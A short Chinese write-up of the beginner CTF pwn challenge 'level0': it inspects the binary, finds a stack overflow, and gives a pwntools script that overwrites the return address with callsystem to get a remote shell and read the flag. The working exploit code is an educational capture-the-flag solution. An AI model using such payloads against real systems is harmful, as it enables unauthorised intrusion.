攻防世界PWN简单题 level0

开始考验栈溢出的相关知识了

攻防世界PWN简单题 level0_伪代码

Checksec 一下文件 看看都开了什么保护 和 是多少位的程序

攻防世界PWN简单题 level0_远程服务器_02

发现是64位的程序, 扔进IDA64。IDA YYDS。。

攻防世界PWN简单题 level0_伪代码_03

进入主函数,通过伪代码分析逻辑,找出栈溢出漏洞

攻防世界PWN简单题 level0_栈溢出_04

找到了栈溢出漏洞,开始寻找攻击手段。

攻防世界PWN简单题 level0_主函数_05

找到了攻击手段。简单题就是如此简单。找一下callsystem地址,当然也可以直接用pwntools获取

攻防世界PWN简单题 level0_主函数_06

找到了需要的地址0X400596

开始写exp攻击远程服务器

 from pwn import *
io = remote ('111.200.241.244',49536)
#连接远程
elf = ELF('./291721f42a044f50a2aead748d539df0')
#打开本地程序,如果不想用pwntools获取callsystem地址,此步可以注释
payload = b'a'*(0x80+0x8) + p64(elf.symbols['callsystem'])
#构造payload 需要覆盖0x80个地址+上个ebp地址
#也可p64()中替换成0x0x00400596
io.recvuntil("Hello, World\n")
#接收远程的返回
io.send(payload)
#发送payload
io.interactive()
#开始互动,恭喜你获得了shell去查看flag吧

丢进环境,运行一下,ls, cat flag。。。

老师!!!交卷!

攻防世界PWN简单题 level0_伪代码_07